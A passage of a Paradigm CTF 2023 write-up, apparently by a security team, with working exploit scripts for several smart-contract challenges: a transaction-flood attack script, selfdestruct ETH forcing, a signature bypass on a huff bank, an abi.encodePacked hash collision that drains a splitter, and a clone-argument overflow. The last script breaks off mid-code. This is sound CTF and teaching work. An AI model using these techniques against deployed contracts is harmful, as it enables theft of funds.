f1966a0399e0d1141e:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdc24316b9ae028f1497c275eb9192a3ea0f67022:1:3:6:7:8:9:10:11:12:14:15:17:18:20:23:25:28:29:30:31:32:33:34:37:38,0x795cbc7a670d06e56cd2197d4ca175e081a416ad:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x7442041898dc3f8ed76fa4e00a762064c87991c8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x441d3663b321fd828350411641d7c9d57a183fcb:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x651bbd829a7cbd32f35dfc099cbde1e04789393c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x78e3984e1ab1c3eb560cbd5b42b635e1cd341bc2:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf2d4766ad705e3a5c9ba5b0436b473085f82f82f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x914b432dad9c29c081f93d84790919335bcbd33f:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xe825363f3bedabc95b2a9d42dbc73ec7b82b57d3:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb203e1170a30e68dc5b20aac08aa42619842c79e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x21346283a31a5ad10fa64377e77a8900ac12d469:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x0000000000a39bb272e79075ade125fd351887ac:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd69b0089d9ca950640f5dc9931a41a5965f00303:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd19d4b5d358258f05d7b411e21a1460d11b0876f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x22650fcf7e175ffe008ea18a90486d7ba0f51e41:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x64192819ac13ef72bf6b5ae239ac672b43a9af08:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdca6ab9508d28c0eb7b120b8252041edcb56753f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcafe1a77e84698c83ca8931f54a755176ef75f2c:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4399f61795d3e50096e236a6d31ab24470c99fd5:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xabea9132b05a70803a4e85094fd0e1800777fbef:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x75fbd58ba18c80955bbb4c9fd46b83dc6bb68980:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x95fc37a27a2f68e3a647cdc081f0a89bb47c3012:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf4e11b89519eccd988a56749f1c64ad9bfe0298f:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa646e29877d52b9e2de457eca09c724ff16d0a2b:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf8092d0679cc835b3d51d46163e649f2de5c680d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x43ab622752d766d694c005acfb78b1fc60f35b69:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcddf488f1c826160ee832d4f1492f00cf8557ff6:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x92982bccb608936be803fad34c03414e888ee1de:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xebec795c9c8bbd61ffc14a6662944748f299cacf:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xffc19fe32623c6aeccdbae37f631589a45196385:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd135913f966d874078822b06b50a645a665d9f6c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd6a062cae6123c158768a5c444ca0896cc60d6b1:5:7:8:11:12:13:14:15:17:19:20:21:22:23:24:25:27:28:29:30:31:32:33:37,0xf17d119effa0dcbe24d3fa346860be851150358f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x21e27a5e5513d6e65c4f830167390997aa84843a:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x3bdc69c4e5e13e52a65f5583c23efb9636b469d6:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa9d1e08c7793af67e9d92fe308d5697fb81d3e43:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb55703d907c93cfc1632c994a0202e42877c07ff:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdc81b4b18881535ae033d924e6c9719348bdd3b8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x2a0c0dbecc7e4d658f48e01e3fa353f44050c208:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x756d64dc5edb56740fc617628dc832ddbcfd373c:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x15c126f55a48e4fee27f864d477e8f175ce80284:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc7cd9d874f93f2409f39a95987b3e3c738313925:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8d12a197cb00d4747a1fe03395095ce2a5cc6819:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3d019cfecd722b76807dd2fad24376306d179277:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x36eed1a4dd70f0731dd20ef76c32345185a8a042:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xfe80804d2e3ab78a13ce90f45b2803cf9bbd1f51:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x889edc2edab5f40e902b864ad4d7ade8e412f9b1:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb8e6d31e7b212b2b7250ee9c26c56cebbfbe6b23:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xe25a329d385f77df5d4ed56265babe2b99a5436e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x717e889671f07ac04b243b612b2eed394ff630ca:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x5b97a1cd49754878630524298296abcad2b4cc2d:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xfb633f47a84a1450ee0413f2c32dc1772ccaea3e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x23ea10cc1e6ebdb499d24e45369a35f43627062f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x80d2d68e38472da11cf7f1cc6465ddcfa8d1f778:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x3b454e25cc00d3b0259df105900e39365bb7f321:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xaa06a9e8c44db313725f658a25f60df0ae5c1f72:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4f2083f5fbede34c2714affb3105539775f7fe64:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb8901acb165ed027e32754e0ffe830802919727f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbd02c51150a4ab6ce97b9de2025644594f3e75b8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8d501afb7dd7dada424b8c1f331b5909e44a043f:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xcaacf7d9e40d0f4db66419d678a8d46de74b0c02:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x910cbd523d972eb0a6f4cae4618ad62622b39dbf:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd39988dd92ffd85b9ee2b6d05148140b0b9cdee6:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3ad2fcd6a2ce246e890826c9bcca20f06ce11083:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x12da64f9c7b4e9a73f9e177cd18c40cf307306f4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf42c318dbfbaab0eee040279c6a2588fa01a961d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc1ebd02f738644983b6c4b2d440b8e77dde276bd:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf5c9f957705bea56a7e806943f98f7777b995826:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39")' | nc cosmic-radiation.challenges.paradigm.xyz 1337

Note: We flipped 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2:20703 (WETH) manually on the balance checking in withdraw, changing lt to gt opcode.

  1. Send transactions to the flipped addresses.

attack.py

import os
import subprocess

f = open("addr_list.txt", "r")
addr_list = f.readlines()

rpc_url="http://cosmic-radiation.challenges.paradigm.xyz:8545/0c47e64f-6ca9-4bcb-8f78-138b68e17b09/main"
priv_key="0xa0d1056e5dcc70f1c0935569d2f1ad1824d3a0d732a4c12edee465eece7fa25e"

def attk():
    # cast send $beacon_addr --rpc-url $rpc_url --private-key $priv_key "x()"
    for addr in addr_list:
        addr = addr[:-1]
        print(addr)
        try:
            x = subprocess.check_output(["cast","send", addr, '--rpc-url', rpc_url, "--private-key", priv_key, 'x()'])
        except:
            continue

attk()

Note: This takes time; creating a contract to call the targets is MUCH better and can be done instantly.

Don’t forget to withdraw WETH we manually flipped too!
cast send $weth_addr --rpc-url $rpc_url --private-key $priv_key "withdraw(uint256)" -- 3202617056036948921024512

  1. Send balance to challenge address via selfdestruct.

Solve.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

contract Solve {
    constructor(address target) payable {
        selfdestruct(payable(target));
    }
}
my_addr=`cast wallet a $priv_key`
cast balance $my_addr --rpc-url $rpc_url
forge create --rpc-url $rpc_url --private-key $priv_key -C . Solve.sol:Solve --value 42191882736096474904406008 --constructor-args $target_addr

Finally, with this power, our team got 42,191,882 ETH in total.


Since the release of our new Smart Contract Security Testing Guide Checklist, we’ve also planned to release more plugins to detect the common issues from our security checklist to cover the whole checklist. The tools we will choose to implement are still a secret. For now, you can use our checklist and the built-in detectors and rules as a guide.

Related Posts

Paradigm CTF 2023 Writeup 1/2
Paradigm CTF 2023 Writeup 1/2
Education
7 Nov 2023
Inspex team participated in Paradigm CTF 2023, finishing 17th out of 800+ teams with a total score of 2546.29. The challenges this year are more realistic; some of them are directly forks or modifications from the actual DeFi platform on the blockchain. Additionally, there are some incredibly creative King of the Hill challenges. We’re having a great time figuring out these enjoyable yet challenging challenges. The following are the 12 challenges that we have completed: HELLO WORLD CHALLENGE: HELLO WORLD AUTHOR: samczsun TAGS: helloworld DESCRIPTION: You know the drill This challenge is a sanity check challenge that contains a Challenge contract as follows: Challenge.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Challenge { address public immutable TARGET = 0x00000000219ab540356cBB839Cbe05303d7705Fa; uint256 public immutable STARTING_BALANCE; constructor() { STARTING_BALANCE = address(TARGET).balance; } function isSolved() external view returns (bool) { return TARGET.balance &gt; STARTING_BALANCE + 13.37 ether; } } The objective of this challenge is to make the $ETH balance of the target contract greater than the initial balance at least 13.37 ether. This can be simply done by using selfdestruct() to force a transfer of $ETH to the contract. We used the following forge script to complete this challenge. HelloWorldSolver.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; import "forge-std/Script.sol"; contract HelloWorldSolver is Script { function run() external { uint256 playerPrivateKey = vm.envUint("PLAYER"); address challengeAddress = vm.envAddress("CHALLENGE"); vm.startBroadcast(playerPrivateKey); new Tmp{value: 13.37 ether + 1}(); vm.stopBroadcast(); } } contract Tmp { constructor() payable { selfdestruct(payable(0x00000000219ab540356cBB839Cbe05303d7705Fa)); } } BLACK SHEEP CHALLENGE: BLACK SHEEP AUTHOR: Yi (@SuplabsYi) at Supremacy (@SupremacyHQ) TAGS: pwn, huff DESCRIPTION: https://twitter.com/SuplabsYi/status/1717665382960595251 There is a SimpleBank contract written by huff, that has the withdraw() function implemented as follows. The goal for this challenge is to call the withdraw() function and drain all funds from the contract. /* Interface */ #define function withdraw(bytes32,uint8,bytes32,bytes32) payable returns () #define macro CHECKVALUE() = takes (0) returns (0) { callvalue 0x10 gt over jumpi 0x00 dup1 revert over: 0x00 0x00 0x00 0x00 callvalue 0x02 mul caller 0xFFFFFFFF call } #define macro CHECKSIG() = takes (0) returns (1) { 0x04 calldataload 0x00 mstore 0x24 calldataload 0x20 mstore 0x44 calldataload 0x40 mstore 0x64 calldataload 0x60 mstore 0x20 0x80 0x80 0x00 0x1 0xFFFFFFFF staticcall iszero invalidSigner jumpi 0x80 mload 0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044 eq correctSigner jumpi end jump correctSigner: 0x00 end jump invalidSigner: 0x01 end jump end: } #define macro WITHDRAW() = takes (0) returns (0){ CHECKVALUE() CHECKSIG() iszero iszero noauth jumpi 0x00 dup1 dup1 dup1 selfbalance caller gas call end jump noauth: 0x00 dup1 revert end: } #define macro MAIN() = takes (0) returns (0) { // Identify which function is being called. 0x00 calldataload 0xE0 shr dup1 __FUNC_SIG(withdraw) eq withdrawj jumpi callvalue 0x00 lt recieve jumpi 0x00 0x00 revert withdrawj: WITHDRAW() recieve: } From the huff code, when we call withdraw() it will execute the WITHDRAW() function. You can learn basic huff code from docs.huff.sh and try to understand the contract step by step. Or the another way is trying to decompile the deployed huff contract to solidity by using dedaub decompile . After getting the bytecode from the blockchain, we have decompile it into the following solidity contract: SimpleBank_decompiled.sol // Decompiled by library.dedaub.com // 2023.10.28 00:20 UTC function 0x410e2069(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public payable { require(16 &gt; msg.value); v0 = v1 = msg.sender.call().value(msg.value &lt;&lt; 1).gas(uint32.max); v2 = ecrecover(varg0, varg1, varg2, varg3); if (!v2) { v0 = v3 = 1; // Unknown jump to Block 0x8f. Refer to 3-address code (TAC); } else if (0xd8da6bf26964af9d7eed9e03e53415d37aa96044 == MEM[128]) { v0 = v4 = 0; } require(!bool(v0)); v5 = msg.sender.call().value(this.balance).gas(msg.gas); } // Note: The function selector is not present in the original solidity code. // However, we display it for the sake of completeness. function __function_selector__(bytes4 function_selector) public payable { if (0x410e2069 == function_selector &gt;&gt; 224) { 0x410e2069(); } else { assert(0 &gt;= msg.value); revert(); } } The withdraw() ( 0x410e2069 ) function logic contains the two main tasks. First, the contract will refund the msg.value back as double. However, here is a check that the msg.value must be less than 16. Since the contract initial balance is 10 ether, we cannot use this, which will take forever to drain all funds. require(16 &gt; msg.value); v0 = v1 = msg.sender.call().value(msg.value &lt;&lt; 1).gas(uint32.max); Let’s move on to the next part, which is the signature verification. The following code checks if the signature is not valid; the v0 will be set to 1, and if it is valid and signed from 0xd8da6bf26964af9d7eed9e03e53415d37aa96044 , the v0 will be set to 0 . However, in default case where signature is valid even it is signed from any address the v0 will never been set and it previous value is from the first part which is the refund transfer status. v2 = ecrecover(varg0, varg1, varg2, varg3); if (!v2) { v0 = v3 = 1; // Unknown jump to Block 0x8f. Refer to 3-address code (TAC); } else if (0xd8da6bf26964af9d7eed9e03e53415d37aa96044 == MEM[128]) { v0 = v4 = 0; } require(!bool(v0)); With all of these, we can craft the input that would make v0 = 0 by reverting the transfer part and putting any valid signature as an input. BlackSheepSolver.s.sol / SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; import "forge-std/Script.sol"; contract BlackSheepSolver is Script { function run() external { uint256 playerPrivateKey = vm.envUint("PLAYER"); address challengeAddress = vm.envAddress("CHALLENGE"); Bank bank = Bank(Challenge(challengeAddress).BANK()); vm.startBroadcast(playerPrivateKey); Exploit e = new Exploit(); e.exp(bank); console.log("isSolved:", Challenge(challengeAddress).isSolved()); vm.stopBroadcast(); } } contract Exploit { function exp(Bank bank) external { // some valid signature bank.withdraw(0x0000000000000000000000000000000000000000000000000000000000000000, 28, 0x2cc23f074ec0d40421d95b58b67d667120d0a3d4f8feba6c7c5ff88d1ec3a4cb, 0x18b3e15bac816bb53a075d045632703600c4ee7ef31ff6fdc237362c8b76fd72); } fallback() payable external { if (msg.value == 0) revert(); } } interface Bank { function withdraw(bytes32,uint8,bytes32,bytes32) payable external; } contract Challenge { address public BANK; function isSolved() external view returns (bool) { return address(BANK).balance == 0; } } 100% CHALLENGE: 100% AUTHOR: samczsun TAGS: pwn DESCRIPTION: Your funds are safe when you use our innovative new payment splitter that ensure that 100% of assets make it to their intended recipients In this challenge, it has two relevant contracts: Split and SplitWallet . The goal is to drain $ETH from the deployed Split and SplitWallet contracts. Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol"; import "./Split.sol"; contract Challenge { Split public immutable SPLIT; constructor(Split split) { SPLIT = split; } function isSolved() external view returns (bool) { Split.SplitData memory splitData = SPLIT.splitsById(0); return address(SPLIT).balance == 0 &amp;&amp; address(splitData.wallet).balance == 0; } } The whole concept of the Split and SplitWallet contracts is to create a Split NFT that can designated a group of users that can withdraw tokens by the pre-defined ratio. The Split contract is a factory for creating a Split NFT. Each new Split NFT will bind with a new SplitWallet contract. The SplitWallet contract is just the token receiver point of each Split . Any users can call the createSplit() function to create their own Split NFT. Split.sol import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol"; import "./SplitWallet.sol"; contract Split is ERC721("Split", "SPLIT") { using ClonesWithImmutableArgs for address; struct SplitData { bytes32 hash; SplitWallet wallet; } SplitWallet private immutable IMPLEMENTATION = new SplitWallet(); uint256 private immutable SCALE = 1e6; uint256 public nextId; mapping(uint256 =&gt; SplitData) private _splitsById; mapping(address =&gt; mapping(address =&gt; uint256)) public balances; [...SNIP...] The SplitWallet contract only has three notable functions, nothing special except they are deployed with clones-with-immutable-args , a really intesting kind of a clone contract👀. SplitWallet.sol import "@clones-with-immutable-args/src/Clone.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract SplitWallet is Clone { function deposit() external payable {} function pullToken(IERC20 token, uint256 amount) external { require(msg.sender == _getArgAddress(0)); if (address(token) == address(0x00)) { payable(msg.sender).transfer(amount); } else { token.transfer(msg.sender, amount); } } function balanceOf(IERC20 token) external view returns (uint256) { if (address(token) == address(0x00)) { return address(this).balance; } return token.balanceOf(address(this)); } } Let’s look into our main course on this challenge, the first Split NFT. It assigned to two addresses (spoiler alert: they are not 0xdEaD and 0xbEEF , look closely😉) with 50:50 split proportion. It also had 100 $ETH deposited in the SplitWallet . Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-ctf/CTFDeployment.sol"; import "src/Split.sol"; import "src/Challenge.sol"; contract Deploy is CTFDeployment { function deploy(address system, address) internal override returns (address challenge) { vm.startBroadcast(system); Split split = new Split(); address[] memory addrs = new address[](2); addrs[0] = address(0x000000000000000000000000000000000000dEaD); addrs[0] = address(0x000000000000000000000000000000000000bEEF); uint32[] memory percents = new uint32[](2); percents[0] = 5e5; percents[1] = 5e5; uint256 id = split.createSplit(addrs, percents, 0); Split.SplitData memory splitData = split.splitsById(id); splitData.wallet.deposit{value: 100 ether}(); challenge = address(new Challenge(split)); vm.stopBroadcast(); } } Our goals are to drain from the Split and SplitWallet contracts. The SplitWallet contract can be easily drained by calling the distribute() function on the Split contract with the right parameters. The function will pull the token from the SplitWallet contract to the Split contract and update the withdrawable balances of the addresses on the NFT proportionaly. The user with withdrawable balances can use the withdraw() function to withdraw tokens from the Split contract. Now the SplitWallet contract is empty dried, but how will we drain the Split contract rightfully . Split.sol function _distribute( uint256 splitId, address[] memory accounts, uint32[] memory percents, uint32 relayerFee, IERC20 token ) private { require(_splitsById[splitId].hash == _hashSplit(accounts, percents, relayerFee)); SplitWallet wallet = _splitsById[splitId].wallet; uint256 storedWalletBalance = balances[address(wallet)][address(token)]; uint256 externalWalletBalance = wallet.balanceOf(token); uint256 totalBalance = storedWalletBalance + externalWalletBalance; if (msg.sender != ownerOf(splitId)) { uint256 relayerAmount = totalBalance * relayerFee / SCALE; balances[msg.sender][address(token)] += relayerAmount; totalBalance -= relayerAmount; } for (uint256 i = 0; i &lt; accounts.length; i++) { balances[accounts[i]][address(token)] += totalBalance * percents[i] / SCALE; } if (storedWalletBalance &gt; 0) { balances[address(wallet)][address(token)] = 0; } if (externalWalletBalance &gt; 0) { wallet.pullToken(token, externalWalletBalance); } } The challenge generously gave us 100 $ETH to solve the challenge. The validation in the _distribute() function use the _hashSplit() function to calculate the hash value. We spotted that the _hashSplit() function use the infamous abi.encodePacked() function to encode the parameter. We really got a pungent smell from the code around here🐶, they are using abi.encodePacked() function to encode two adjacent array data. The abi.encodePacked() function strips the lenght data from an array and leave only the data element. Without the lenght data as the guard rail on each array data, the function can produce same encoded data from different input array data. Split.sol function _hashSplit(address[] memory accounts, uint32[] memory percents, uint32 relayerFee) internal pure returns (bytes32) { return keccak256(abi.encodePacked(accounts, percents, relayerFee)); } This is the result of the abi.encodePacked() function on the first split data. 000000000000000000000000000000000000000000000000000000000000beef // accounts[0] bytes 0-31 0000000000000000000000000000000000000000000000000000000000000000 // accounts[1] bytes 32-63 *The second account is address(0) not 0xbEEF😉 000000000000000000000000000000000000000000000000000000000007a120 // percents[0] bytes 64-95 000000000000000000000000000000000000000000000000000000000007a120 // percents[1] bytes 96-127 00000000 // relayerFee bytes 128-131 We can send [1 accounts : 3 percents : relayerFee] instead of [2 accounts : 2 percents : relayerFee] into the _hashSplit() function and hash still be as the same. 000000000000000000000000000000000000000000000000000000000000beef // accounts[0] bytes 0-31 0000000000000000000000000000000000000000000000000000000000000000 //*percents[0] bytes 32-63 *Used the last account 000000000000000000000000000000000000000000000000000000000007a120 // percents[1] bytes 64-95 000000000000000000000000000000000000000000000000000000000007a120 // percents[2] bytes 96-127 00000000 // relayerFee bytes 128-131 Now we can use the last account to be the first account percent value that bypass the restriction that the sum value of the percent of a Split must be exactly 100% (1e6). Moreover the _distribute() function doesn’t check that the lenght of the account array and the percents array must be equal. It is a perfectly good spot for attacking the contact. The goal to solve the challenge should be as follow: Drain SplitWallet call the distribute() function with the valid data of the first Split . Drain Split create a Split with following criterias: First account is our wallet (must be an address that we can use to call the withdraw() function) Second account is a number that satisfy following criteria deposited *( percent /1e6) &gt;= 100e18 + deposited ; amoutOut &gt;= amountIn 0 &lt; deposited &lt; 100e18 - gas ; The amount that we can deposit We UsEd A gRaPh (or sage, thyme, pasley anything you prefer) To SoLvE tHeSe CoMpLeX " linear equations "😬. Just kidding, with any big numbers (a typical address) should be enough to surpass the amount in the Split contract, just beware of the overflow/underflow. It does not have to be any sophisticated values, unless you want it😎. The percent of both account are any value that sum to 100. The relayerFee is 0. deposit the chosen amount of $ETH into the new SplitWallet contract. call the distribute() function on the new Split with only one address in the account array. The second account will be the first element of the percents array. call the withdraw() function to drain the Split contract 100pSolve.sol function run() external { uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xcfe1a47d1dda36b91d969cd217a64080d3df9cb4e5b239bd811c1e510bb3f2f5)); player = vm.addr(playerPrivateKey); challenge = Challenge(0x7B49f67c1E14A215634132f799E1D58f13F2A4b5); split = challenge.SPLIT(); vm.startBroadcast(playerPrivateKey); Split.SplitData memory splitData = split.splitsById(0); address[] memory addrs = new address[](2); addrs[0] = address(0x000000000000000000000000000000000000dEaD); // dead as the name addrs[0] = address(0x000000000000000000000000000000000000bEEF); // nothing wrong uint32[] memory percents = new uint32[](2); percents[0] = 5e5; // 50% percents[1] = 5e5; // 50% address[] memory myAddrs = new address[](2); myAddrs[0] = address(player); myAddrs[1] = address(0x00000000000000000000000000000000002Dc6C0); // 3e6 or 300%; quite sophisticated? address[] memory myAddrs2 = new address[](1); myAddrs2[0] = address(player); uint32[] memory myPercents = new uint32[](3); myPercents[0] = 3e6; // 300% myPercents[1] = 5e5; // 50% myPercents[2] = 5e5; // 50% split.distribute(0, addrs, percents, 0, IERC20(address(0))); // drain the first SplitWallet uint256 myId = split.createSplit(myAddrs, percents, 0); // create a new Split Split.SplitData memory mySplit = split.splitsById(myId); mySplit.wallet.deposit{value:50 ether}(); // deposit 50 ETH. The 3 times 50 is 150. QUICKMATH split.distribute(myId, myAddrs2, myPercents, 0, IERC20(address(0))); // distribute with some twist IERC20[] memory token = new IERC20[](1); uint256[] memory amount = new uint256[](1); token[0] = IERC20(address(0)); amount[0] = 150 ether; split.withdraw(token, amount); // drain the first Split console.log(challenge.isSolved()); vm.stopBroadcast(); } DAI++ CHALLENGE: DAI++ AUTHOR: samczsun TAGS: pwn DESCRIPTION: MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn’t be any bugs here This challenge consists of the following contracts: AccountManager : Handle open accounts, migrate accounts, and mint or burn stablecoin. Account : Implementation contract for clone, which will be created upon open account, provides deposit, withdrawal, and collateral health check. Stablecoin : ERC20, used as stablecoin, can be minted or burned by an authorized address. SystemConfiguration : Contain getter/setter of systems’ configurations. The goal of this challenge is minting the stablecoin more than 1_000_000_000_000 tokens. So let’s start by looking at the minting process, to mint stablecoin the following AccountManager.mintStablecoins() must be called. AccountManager.sol function mintStablecoins(Account account, uint256 amount, string calldata memo) external onlyValidAccount(account) { account.increaseDebt(msg.sender, amount, memo); Stablecoin(SYSTEM_CONFIGURATION.getStablecoin()).mint(msg.sender, amount); } As you can see, the Account.increaseDebt() will be called first before stablecoin minting. Account.sol function increaseDebt(address operator, uint256 amount, string calldata memo) external { SystemConfiguration configuration = SystemConfiguration(_getArgAddress(0)); require(configuration.isAuthorized(msg.sender), "NOT_AUTHORIZED"); require(operator == _getArgAddress(20), "ONLY_ACCOUNT_HOLDER"); require(isHealthy(0, amount), "NOT_HEALTHY"); debt += amount; emit DebtIncreased(amount, memo); } The Account contract is created with clone pattern shown as follows: AccountManager.sol function _openAccount(address owner, address[] calldata recoveryAddresses) private returns (Account) { Account account = Account( SYSTEM_CONFIGURATION.getAccountImplementation().clone( abi.encodePacked(SYSTEM_CONFIGURATION, owner, recoveryAddresses.length, recoveryAddresses) ) ); validAccounts[account] = true; return account; } In the clone() function implementation, there is a warning that the input data should not exceed 65535 bytes. So what if we try to input recoveryAddresses data that exceeds it? ClonesWithImmutableArgs.sol library ClonesWithImmutableArgs { error CreateFail(); /// @notice Creates a clone proxy of the implementation contract, with immutable args /// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length /// @param implementation The implementation contract to clone /// @param data Encoded immutable args /// @return instance The address of the created clone function clone(address implementation, bytes memory data) internal returns (address instance) { // unrealistic for memory ptr or data length to exceed 256 bits unchecked { uint256 extraLength = At first, we would like to overwrite the SYSTEM_CONFIGURATION address in the Account contract to manipulate the configurations. However, we found out that when we create an account with the recoverAddresses parameter as an array of length 2044, the increaseDebt() function implementation will be skipped, and we can call mintStablecoins() without any restriction. So we used the following script to complete this challenge: DaiPlusPlusSolver.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; import "forge-std/Script.sol"; import "../src/Challenge.sol"; import "../src/SystemConfiguration.sol"; import {Account as Acct} from "../src/Account.sol"; import "../src/AccountManager.sol"; contract DaiPlusPlusSolver is Script { function run() external { address attacker = address(0x1337); 